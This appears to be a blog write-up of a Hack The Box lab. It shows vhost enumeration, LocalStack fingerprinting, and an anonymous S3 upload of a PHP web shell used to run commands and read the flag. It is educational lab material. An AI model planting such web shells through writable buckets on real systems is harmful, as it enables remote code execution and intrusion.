elliot@steffensens.io : ~/blog/the-vhost-ffuf-missed/
index.md blog/ security.md the-vhost-ffuf-missed.md

The vhost ffuf missed

three is an HTB Starting Point Tier 1 box. Single flag, no privesc. The exploitable thing is a LocalStack S3 endpoint on a vhost, with an anonymously-writable bucket that backs Apache’s document root. Upload PHP, request it, read /var/www/flag.txt.

That’s the box. The part worth writing about is that my ffuf vhost profile missed the hit, and subdomains-top1million-20000.txt had s3 sitting on line 247.

The setup

nmap top-1000 returns 22/ssh and 80/http. The web root is a band landing page for “The Toppers,” generated by /index.php. ffuf against raft-medium-directories.txt finds nothing interesting.

The footer of the landing page has a mail address:

mail@thetoppers.htb

That’s the pivot. Without that string the box has nothing visible to chew on; there’s no hidden subdomain to guess at, only one the page itself names.

The Starting Point task pane is also handing out the shape of the answer:

Which sub-domain is discovered during further enumeration?
> **.*********.***

Two characters, then thetoppers.htb. The search space collapses to roughly the 2-letter row of any common subdomain list, which makes ffuf’s failure later look worse, not better.

ffuf says no

I dropped thetoppers.htb into /etc/hosts, ran my vhost profile against subdomains-top1million-20000.txt, filtered by size against the default-site baseline of 11952 bytes.

Empty CSV.

I abandoned the tool and threw the obvious shortlist at it by hand:

for sub in s3 dev www admin mail api; do
  size=$(curl -s -H "Host: $sub.thetoppers.htb" http://<box-ip>/ | wc -c)
  echo "$sub.thetoppers.htb -> $size bytes"
done
s3.thetoppers.htb -> 21 bytes
dev.thetoppers.htb -> 11952 bytes
www.thetoppers.htb -> 11952 bytes
admin.thetoppers.htb -> 11952 bytes
mail.thetoppers.htb -> 11952 bytes
api.thetoppers.htb -> 11952 bytes

Most don’t match the 2-char mask. I threw the longer ones in out of habit. 21 bytes is {"status": "running"} plus a newline. Different host, different service.

Going back to ask whether ffuf had had a fair chance:

$ grep -nx s3 subdomains-top1million-20000.txt
247:s3

Line 247. I’ll come back to that.

The 21-byte service

$ curl -sI -H "Host: s3.thetoppers.htb" http://<box-ip>/
HTTP/1.1 200 OK
Server: hypercorn-h11
Access-Control-Allow-Headers: ...,x-localstack-target,...
Access-Control-Allow-Methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH

Two tells. hypercorn-h11 is the Python ASGI server LocalStack runs on. x-localstack-target in the CORS allowlist is the giveaway you don’t need to look up; nothing else uses that header. The full S3 verb set on Access-Control-Allow-Methods is the bonus hint.

LocalStack is an AWS service emulator built for local dev. It does not authenticate anything. Point the AWS CLI at it with any dummy creds and it works:

$ aws configure  # any access key, any secret, region us-east-1
$ aws --endpoint-url http://s3.thetoppers.htb s3 ls
2026-05-27 15:37:47 thetoppers.htb

One bucket. Name matches the vhost. That’s the design clue: a bucket named after the site almost certainly backs the document root.

The exploit, such as it is

$ echo '<?php system($_GET["c"]); ?>' > shell.php
$ aws --endpoint-url http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/shell.php
$ curl 'http://thetoppers.htb/shell.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl 'http://thetoppers.htb/shell.php?c=cat+/var/www/flag.txt'

Flag captured. There’s no root flag on this one.

(The box is called three. The exploit is S3. I missed that until I sat down to write this up.)

What this box teaches

Any response header is a fingerprint. Access-Control-Allow-Headers in particular tends to name vendor-specific extension headers that ID the service without needing a tool. If I’d been less sleepy I would have skipped the AWS-CLI dance and grepped the CORS allowlist for localstack.

As for the ffuf wrapper: I have no good story for why it missed. The size filter should have flagged anything that wasn’t the 11952-byte default. My best guess is the status-code allowlist in my wrapper (200,301,302,401,403); the actual response code is probably something I didn’t include. The clean fix is -mc all -fs 11952 instead of an explicit status list. I haven’t sat down with the profile yet to confirm.

I’ll fix it before the next box. Probably.

back to blog
NORMAL the-vhost-ffuf-missed.md 4 min read utf-8 markdown 1,1 Top